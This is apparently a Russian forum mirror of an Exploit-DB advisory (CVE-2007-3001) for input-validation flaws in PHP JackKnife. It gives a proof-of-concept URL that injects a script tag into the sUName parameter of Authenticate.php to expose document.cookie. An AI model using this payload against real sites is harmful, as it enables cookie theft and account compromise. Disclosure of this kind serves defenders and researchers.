- 34,599
- 0
- 18 Дек 2022
- EDB-ID
- 30114
- Проверка EDB
-
- Пройдено
- Автор
- LAURENT GAFFIE
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2007-3001
- Дата публикации
- 2007-05-31
Код:
source: https://www.securityfocus.com/bid/24253/info
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
http://www.example.com/PHPJK/UserArea/Authenticate.php?sUName=</textarea>'"><script>alert(document.cookie)</script>
- Источник
- www.exploit-db.com